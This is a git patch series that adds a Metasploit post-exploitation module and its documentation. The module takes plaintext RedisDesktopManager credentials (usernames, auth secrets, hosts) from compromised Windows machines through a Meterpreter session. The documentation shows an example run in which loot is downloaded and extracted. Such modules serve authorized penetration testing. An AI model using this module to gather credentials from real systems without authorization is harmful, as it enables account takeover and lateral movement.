From 2726f04e433a9a563bea0e28065890b8a0bceac4 Mon Sep 17 00:00:00 2001 From: cn-kali-team Date: Mon, 12 Sep 2022 20:40:49 +0800 Subject: [PATCH 1/3] Gather_RedisDesktopManager_Password --- .../credentials/redis_desktop_manager.md | 62 +++++++++++++ .../post/windows/gather/credentials/rdm.rb | 90 +++++++++++++++++++ 2 files changed, 152 insertions(+) create mode 100644 documentation/modules/post/windows/gather/credentials/redis_desktop_manager.md create mode 100644 modules/post/windows/gather/credentials/rdm.rb diff --git a/documentation/modules/post/windows/gather/credentials/redis_desktop_manager.md b/documentation/modules/post/windows/gather/credentials/redis_desktop_manager.md new file mode 100644 index 0000000000..b8a952b8b4 --- /dev/null +++ b/documentation/modules/post/windows/gather/credentials/redis_desktop_manager.md @@ -0,0 +1,62 @@ +### Overview + +[RedisDesktopManager](https://github.com/uglide/RedisDesktopManager) RedisDesktopManager's credentials are saved in a JSON file in plaintext. + + +### Setup Steps + +1. Download the latest installer of Redisdesktopmanager from https://github.com/uglide/RedisDesktopManager/releases. + But this needs to be subscribed before it can be downloaded. You can download the window version from another project. + https://github.com/lework/RedisDesktopManager-Windows/releases +2. Follow the installer's prompts to install the software. Select all the default settings. +3. Once everything has been installed, start RedisDesktopManager. click "Connect To Redis Server", + Click OK after filling in the connection information. + +## Verification Steps + +1. Start MSF console +2. Get a Meterpreter session on a Windows system +3. use post/windows/gather/credentials/rdm +4. Set SESSION 1 +5. enter 'run' to extract credentials from all applications + + +## Options +### REGEX + +Users can set their own regular expressions so that it could be applied for the credential extraction. The default is set to ^password. + +### VERBOSE + +By default verbose is turned off. When turned on, the module will show information on files which aren't extracted and information that is not directly related to the artifact output. + + +### STORE_LOOT +This option is turned on by default and saves the stolen artifcats/files on the local machine, +this is required for also extracting credentials from files using regexp, JSON, XML, and SQLite queries. + + +### EXTRACT_DATA +This option is turned on by defalt and will perform the data extraction using the predefined regular expression. The 'Store loot' options must be turned on in order for this to take work. + +## Example Run +### Default Output + ``` +msf6 post(windows/gather/credentials/rdm) > run +[*] Filtering based on these selections: +[*] ARTIFACTS: All +[*] STORE_LOOT: true +[*] EXTRACT_DATA: true +[*] Redis_desktop_manager's Connections.json file found +[*] Downloading C:\Users\FireEye\.rdm\connections.json +[*] Redis_desktop_manager Connections.json downloaded +[+] File saved to: /home/kali-team/.msf4/loot/20220912203358_default_192.168.80.128_redis_desktop_ma_731068.json +[+] ['name']: T +[+] ['username']: A +[+] ['auth']: my_redis +[+] ['host']: 10.168.1.201 +[+] ['port']: 6379 +[+] File with data saved: /home/kali-team/.msf4/loot/20220912203404_default_192.168.80.128_EXTRACTIONSconne_982832.json + + ``` + \ No newline at end of file diff --git a/modules/post/windows/gather/credentials/rdm.rb b/modules/post/windows/gather/credentials/rdm.rb new file mode 100644 index 0000000000..1e8086ad14 --- /dev/null +++ b/modules/post/windows/gather/credentials/rdm.rb @@ -0,0 +1,90 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Post + + # this associative array defines the artifacts known to PackRat + include Msf::Post::File + include Msf::Post::Windows::UserProfiles + include Msf::Post::Windows::Packrat + + ARTIFACTS = + { + application: 'redis_desktop_manager', + app_category: 'redis', + gatherable_artifacts: [ + { + filetypes: 'logins', + path: 'ProfileDir', + dir: '.rdm', + artifact_file_name: 'connections.json', + description: "RedisDesktopManager's saved Username and Password ", + credential_type: 'json', + json_search: [ + { + json_parent: "", + json_children: [ + "['name']", + "['username']", + "['auth']", + "['host']", + "['port']", + ] + } + ] + } + ] + }.freeze + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'RedisDesktopManager credential gatherer', + 'Description' => %q{ + PackRat is a post-exploitation module that gathers file and information artifacts from end users' systems. + PackRat searches for and downloads files of interest (such as config files, and received and deleted emails) and extracts information (such as contacts and usernames and passwords), using regexp, JSON, XML, and SQLite queries. + Further details can be found in the module documentation. + This is a module that searches for RedisDesktopManager credentials on a windows remote host. + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'Kali-Team' + ], + 'Platform' => ['win'], + 'SessionTypes' => ['meterpreter'], + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'Reliability' => [], + 'SideEffects' => [] + } + ) + ) + + register_options( + [ + OptRegexp.new('REGEX', [false, 'Match a regular expression', '^password']), + OptBool.new('STORE_LOOT', [false, 'Store artifacts into loot database', true]), + OptBool.new('EXTRACT_DATA', [false, 'Extract data and stores in a separate file', true]), + # enumerates the options based on the artifacts that are defined below + OptEnum.new('ARTIFACTS', [false, 'Type of artifacts to collect', 'All', ARTIFACTS[:gatherable_artifacts].map { |k| k[:filetypes] }.uniq.unshift('All')]) + ] + ) + end + + def run + print_status('Filtering based on these selections: ') + print_status("ARTIFACTS: #{datastore['ARTIFACTS'].capitalize}") + print_status("STORE_LOOT: #{datastore['STORE_LOOT']}") + print_status("EXTRACT_DATA: #{datastore['EXTRACT_DATA']}\n") + + # used to grab files for each user on the remote host + grab_user_profiles.each do |userprofile| + run_packrat(userprofile, ARTIFACTS) + end + + print_status 'PackRat credential sweep Completed' + end +end From 91be73b07720e557bda27c25289d69567b081ea5 Mon Sep 17 00:00:00 2001 From: cn-kali-team Date: Mon, 12 Sep 2022 21:08:48 +0800 Subject: [PATCH 2/3] lint --- modules/post/windows/gather/credentials/rdm.rb | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/modules/post/windows/gather/credentials/rdm.rb b/modules/post/windows/gather/credentials/rdm.rb index 1e8086ad14..cce48b0285 100644 --- a/modules/post/windows/gather/credentials/rdm.rb +++ b/modules/post/windows/gather/credentials/rdm.rb @@ -24,7 +24,7 @@ class MetasploitModule < Msf::Post credential_type: 'json', json_search: [ { - json_parent: "", + json_parent: '', json_children: [ "['name']", "['username']", @@ -50,6 +50,9 @@ class MetasploitModule < Msf::Post This is a module that searches for RedisDesktopManager credentials on a windows remote host. }, 'License' => MSF_LICENSE, + 'References' => [ + [ 'URL', 'https://blog.kali-team.cn/Metasploit-PackRat-RedisDesktopManager-42dc7ab063f040d182da0f1fc16db74e' ] + ], 'Author' => [ 'Kali-Team' ], From e7d2fdfe0ac6003e894787a02e957c74713889bc Mon Sep 17 00:00:00 2001 From: Grant Willcox Date: Wed, 14 Sep 2022 17:03:42 -0500 Subject: [PATCH 3/3] Rename module and fix up some issues with documentation --- .../credentials/redis_desktop_manager.md | 70 +++++++------------ .../{rdm.rb => redis_desktop_manager.rb} | 0 2 files changed, 27 insertions(+), 43 deletions(-) rename modules/post/windows/gather/credentials/{rdm.rb => redis_desktop_manager.rb} (100%) diff --git a/documentation/modules/post/windows/gather/credentials/redis_desktop_manager.md b/documentation/modules/post/windows/gather/credentials/redis_desktop_manager.md index b8a952b8b4..085c882202 100644 --- a/documentation/modules/post/windows/gather/credentials/redis_desktop_manager.md +++ b/documentation/modules/post/windows/gather/credentials/redis_desktop_manager.md @@ -1,62 +1,46 @@ -### Overview - -[RedisDesktopManager](https://github.com/uglide/RedisDesktopManager) RedisDesktopManager's credentials are saved in a JSON file in plaintext. - +## Vulnerable Application +[RedisDesktopManager](https://github.com/uglide/RedisDesktopManager) stores its credentials +in a JSON file in plaintext. This module allow users who have successfully compromised a machine +running RedisDesktopManager to extract these credentials from the compromised system so that they can be reused +for future attacks or for password analysis. ### Setup Steps - -1. Download the latest installer of Redisdesktopmanager from https://github.com/uglide/RedisDesktopManager/releases. - But this needs to be subscribed before it can be downloaded. You can download the window version from another project. - https://github.com/lework/RedisDesktopManager-Windows/releases -2. Follow the installer's prompts to install the software. Select all the default settings. -3. Once everything has been installed, start RedisDesktopManager. click "Connect To Redis Server", - Click OK after filling in the connection information. +1. Download the latest installer of RedisdDesktopManager from https://github.com/uglide/RedisDesktopManager/releases. + However you need to be subscribed to be able to run these editions. Therefore it is recommended that you download the Windows version from https://github.com/lework/RedisDesktopManager-Windows/releases and use these for testing if you don't have an existing Redis subscription. +2. Run the installer, follow the prompts, and select all the default settings. +3. Once everything has been installed, start RedisDesktopManager and click on `Connect To Redis Server`. +4. Click `OK` after filling in the connection information, including the username and password to log into the Redis server as. ## Verification Steps - -1. Start MSF console +1. `msfconsole` 2. Get a Meterpreter session on a Windows system -3. use post/windows/gather/credentials/rdm -4. Set SESSION 1 -5. enter 'run' to extract credentials from all applications +3. `use post/windows/gather/credentials/redis_desktop_manager` +4. `set SESSION ` +5. `run` +6. Verify that the module was able to extract the connection credentials you entered during the `Setup Steps` phrase. ## Options ### REGEX - -Users can set their own regular expressions so that it could be applied for the credential extraction. The default is set to ^password. +Users can set their own regular expressions that will be utilized to +determine which credentials to extract. The default is set to `^password`. ### VERBOSE - -By default verbose is turned off. When turned on, the module will show information on files which aren't extracted and information that is not directly related to the artifact output. +By default this option is turned off. When turned on, the module will show information on files +which aren't extracted and information that is not directly related to the artifact output. ### STORE_LOOT -This option is turned on by default and saves the stolen artifcats/files on the local machine, -this is required for also extracting credentials from files using regexp, JSON, XML, and SQLite queries. +This option is turned on by default and will cause the module to save +the stolen artifacts/files to the loot files on the machine running Metasploit. +This is required for extracting credentials from files using regexp, +JSON, XML, and SQLite queries. ### EXTRACT_DATA -This option is turned on by defalt and will perform the data extraction using the predefined regular expression. The 'Store loot' options must be turned on in order for this to take work. +This option is turned on by default and will perform the data extraction using the +predefined regular expression. The `STORE_LOOT` option must be turned on in +order for this to work. -## Example Run -### Default Output - ``` -msf6 post(windows/gather/credentials/rdm) > run -[*] Filtering based on these selections: -[*] ARTIFACTS: All -[*] STORE_LOOT: true -[*] EXTRACT_DATA: true -[*] Redis_desktop_manager's Connections.json file found -[*] Downloading C:\Users\FireEye\.rdm\connections.json -[*] Redis_desktop_manager Connections.json downloaded -[+] File saved to: /home/kali-team/.msf4/loot/20220912203358_default_192.168.80.128_redis_desktop_ma_731068.json -[+] ['name']: T -[+] ['username']: A -[+] ['auth']: my_redis -[+] ['host']: 10.168.1.201 -[+] ['port']: 6379 -[+] File with data saved: /home/kali-team/.msf4/loot/20220912203404_default_192.168.80.128_EXTRACTIONSconne_982832.json +## Scenarios - ``` - \ No newline at end of file diff --git a/modules/post/windows/gather/credentials/rdm.rb b/modules/post/windows/gather/credentials/redis_desktop_manager.rb similarity index 100% rename from modules/post/windows/gather/credentials/rdm.rb rename to modules/post/windows/gather/credentials/redis_desktop_manager.rb